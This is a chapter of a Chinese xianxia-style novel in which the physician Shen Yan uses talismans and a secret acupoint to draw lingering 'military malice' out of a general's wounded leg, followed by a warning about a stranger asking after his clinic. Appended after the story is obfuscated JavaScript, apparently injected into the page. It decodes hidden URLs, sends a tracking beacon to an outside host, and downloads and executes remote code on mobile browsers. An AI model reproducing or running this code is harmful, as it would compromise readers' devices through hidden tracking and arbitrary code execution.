第四章 朔夜(1/2)

卷一·洪武金陵初创

第四章:朔夜

,转身走了。身后老道士的声音悠悠飘过来:“沈先生,金陵城这些日子不太平。前几日有户人家半夜听见院墙底下有挖土的声音,第二天一看,墙根多了个洞。不知道是什么东西挖的。你住的那条巷子,往南走到底,前朝是刑场,杀过不少人。你留心着点。“

沈砚脚步一顿,回身拱了拱手:“多谢道长提点。“

“别叫道长。“老道士挥挥手,“一个卖旧书的糟老头子罢了。你请便。“

沈砚回到医馆,日头已经偏西。他把那几张黄表纸裁成合适的大小,压在桌上用镇纸镇着,等纸性稳定了再画。然后他煮了一壶茶,坐在灯下慢慢翻那卷旧书,等着天黑。

八月二十五的夜里,云层厚得遮天蔽日,一丝星光都透不下来。巷子里黑得伸手不见五指,只有他诊案上那盏油灯亮着,昏黄的光像一颗孤零零的黄豆悬浮在黑暗中。

沈砚翻到旧书某一页时停了下来。那一页上画着一个人体的经络图,用朱砂线标出了“经外奇穴“——不在正经十二脉上的特殊穴位。图上有一个穴位标在膝盖外侧偏下之处,旁边有一行极小的小字,像是后人添注的:

“此穴名'溃骨',非治病穴,乃引邪出体之窍。骨中兵煞、石中毒、水底寒,皆可从此穴引之而出。然引邪须以符为引、以针为路、以天地之气为舟。慎之。“

沈砚看了很久,将这行字在心里默念了三遍,然后合上书。

九月初一。

这一整天沈砚都没有接诊。他挂了一块木牌在门口,上书“今日休馆“四字。陈主事上午来过一趟,看了牌子便走了。王婆子隔着院墙喊他吃午饭,他说在忙,晚些再吃。

整个白天他都在做一件事——画符。

三张黄表纸铺在案上,镇纸压实。他焚了一小撮艾草,烟气在堂中弥散开来,带着一股沉静清苦的气味。然后他洗净双手,研墨调朱砂,朱砂粉兑了井水,以中指缓缓搅动,调成浓淡适中的朱砂液。

他拈起笔,悬腕。第一笔画下去的时候,指尖自然而然地涌出一丝温润之气,顺着笔杆流入笔尖,与朱砂交融在一起。那笔迹落在黄表纸上,便不只是墨迹了——它在纸面上微微发亮,像有一层极薄的釉光敷在上面。

三道引煞符,每一道的笔画都繁复似藤蔓,收束处连点三下,形成一个闭合的回路。符成之后,纸面上的朱砂色红中透紫,隐隐有一股温热散出来。沈砚将三道符晾干,折好,压在最下面一层抽屉里。

然后他坐在堂中,闭目养神。一整个下午他都没有说话,只是静静地坐着。偶尔有街坊路过敲门,看见门口的木牌便又走了。沈砚在寂静中感受着天光一分一分地暗下去,空气一点一点地凉下来。他额前的几缕碎发被穿堂风拂动,他微微睁了一下眼——窗外的天色已经彻底暗了,云层叠着云层,把所有的星光都挡在了天幕之外。

确实是一丝月光都没有的夜晚。

戌时三刻。有脚步声从巷口传来。

沈砚听见了,便起身打开门。夜色中杨参将拄着一根短木拐杖站在门外,身上穿了一身深色短打,右腿的裤筒空荡荡地晃着。他看了一眼门内那盏灯,然后迈步跨过门槛。

“沈先生。“

“把门关上。“沈砚说。

杨参将回身把门关上,门闩插好。沈砚已经进了里间,把布帘撩开挂在钩子上。窄榻上的白布褥子铺得平平整整,床头点着一盏小油灯,火苗压得很低,光线只够照亮榻上这一小片地方。

“把鞋袜脱了,右腿裤腿卷到膝上,侧身躺下。“沈砚的声音平静,带着一种不容置疑的笃定,“左腿伸直,右腿曲起来,膝盖朝外,让伤口这一侧朝上。待会儿我下针的时候,你不能动,也不能说话,不管有什么感觉都忍着。能做到吗?“

杨参将一个字都没有多问。他照做了。脱鞋、卷裤、侧躺、屈膝——动作利落得像在军中听令。他在榻上躺定后,面朝墙壁,背对着沈砚,右腿的伤口正好暴露在油灯光线的正中。

沈砚深吸一口气。他先焚了一小撮艾草,用一块旧瓷碟盛着,放在榻尾的地上。青色的烟气袅袅升起,弥漫在整个里间。然后他从槐木药箱中取出银针囊,在榻边的小凳上展开。三十六根银针排列整齐,在微弱的油灯光下泛着温润的光。

他拈起第一根,是最细的毫针。左手按在杨参将的膝弯处,在膝外上侧一寸的部位寻到了一个微小的凹陷——那就是旧书里画的“溃骨“穴。寻常针灸书上根本没有这个穴位,它是代代口传心授才能找到的奇穴。

针入。

入穴的一瞬间,杨参将的背肌猛地绷紧了一下,但他没有出声。沈砚缓缓捻转针身,将针引向骨头方向。针尖穿过浅筋膜、穿过肌肉层,最后触到骨头表面时,他指尖传来一种微妙的震颤——像是针尖碰到了一个埋得很深的东西,那块东西在针尖的触压下微微动了动。

“别动。“沈砚的声音轻而稳。

他松开针柄,从袖中取出第一张引煞符。符纸在他两指之间对折、再对折,叠成一个细长的三角。他左手两根指头夹着符纸,右手重新握住针柄,然后将符纸在针尾上方一寸处悬住,以指尖将一股温润之气缓缓催出——沿着针身一路下行,穿过肌理,抵达骨面。

符纸无火自燃。一道极细的蓝色火焰沿着纸面游走,烧成灰烬。灰烬没有落下,而是悬浮在针尾周围,像一小团灰色的云雾。

沈砚的灵瞳在这一刻全力运转。

他看见了——在针尖触到的骨头表面,那一缕暗青色的兵煞像是被什么东西惊醒了。它原本静静蛰伏了十六年,像一条沉睡的蛇盘在骨面上。此刻在温润之气和引煞符的双重作用下,它开始缓缓抬头,像是被钓饵引动的鱼,向着针尖的方向试探性地游过来。

“……动了。“杨参将忽然低声说了一句,他的声音里带着压抑的震动。

“什么感觉?“

“骨头里面……像是有什么东西在往外爬。很慢,但……我感觉得到。“

“好。忍着。它出来了。“

沈砚的针身保持不动,但左手的指尖在杨参将小腿外侧以特定的轨迹画着小圈,牵引着那一缕兵煞沿着针身的方向向上走。这是一个极其缓慢的过程,快不得,一快就容易惊了它——兵煞是活物吗?不是,但它有“性“——它有杀伐的本性,有抗拒外力的本能。只能像温水煮青蛙一样,一点一点地引,让它自己跟着走。

时间一刻一刻地流过去。沈砚额上渗出了一层细密的汗,他的手腕已经开始发酸了,但他不敢松一分力。那缕兵煞已经走了半根针身的长度,暗青色的气丝缠绕在针身上,像一根被拉直的青色蚕线。

又过了一炷香的工夫。

兵煞的尾巴终于离开了骨面。沈砚在那一瞬间猛提三寸,将针身带着那一缕暗青之气一并拔出——针尖离开皮肉的刹那,一股极淡的铁锈味在空气中弥散开来,一闪即逝。

针身微热。沈砚看了一眼针尖,那上面什么也没有——兵煞没有实体,它只是散了,在被引出体外的瞬间消弭于空气中。他翻过杨参将的伤口看了一眼,那铜钱大的凹陷处,紫褐色又退了一层,留下底下一片近乎正常的肉色。

“好了。“沈砚长长吐了一口气,将银针在艾草烟上熏了一遍,放回鹿皮囊中,“你可以翻过来了。“

杨参将慢慢地翻过身,仰面躺在榻上。他的脸上全是汗,像是经历了一场旷日持久的搏斗,整个人湿透了。但他的眼睛清亮,呼吸也匀了。

他沉默了很久。然后他慢慢地、郑重地说了一句话:“沈先生。我这辈子欠过的人,一只手数得过来。你是其中一个。以后你但凡有事,不管什么事,只管差人带话到留守司来。杨某人赴汤蹈火,绝不二话。“

沈砚擦了擦额头的汗,把药箱合上,笑了笑:“参将言重了。你只要以后天冷的时候少穿单裤,右腿多保暖,我就放心了。“

杨参将愣了一下,然后居然笑了。那张黝黑的、布满风霜的脸上,笑容像石头缝里开出的花,虽然粗粝但格外真诚。他坐起来穿好鞋袜,活动了一下右腿。迈出第一步的时候,他整个人都顿了顿——腿脚落地,平稳坚实,那条曾经在地上拖曳了十六年的右腿,此刻稳稳地承住了他的体重。

他又走了两步,第三步已经看不出任何异样了。他站在屋中,低头看着自己的右腿,半晌没有说话。

沈砚送他出门时,夜色深得像一潭墨。杨参将在门口站定,忽然回头,低声说了一句:“对了。沈先生,有一件事我想了想还是应该告诉你。前几日我在留守司听同僚说,最近金陵城中有人在暗中打听'济世堂'的底细。问话的人——据说是个穿灰衣服的,五十来岁,瘦高个。“

沈砚心里微微一动。那个站在柳树下的灰衣人。

“那人什么来路?“

“不知道。但我那同僚说,那人身上有一种……说不上来的气度。不像官府的人,也不像江湖人。他打听得很随意,像只是顺口一问,但我同僚觉得不太对,便多留了个心。“

“好。“沈砚点头,“多谢参将。我知道了。“

杨参将抱了抱拳,转身消失在夜色中。他的脚步声渐行渐远,速度均匀,落地平稳——十六年的沉疴,一夜之间便去了七八分。
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};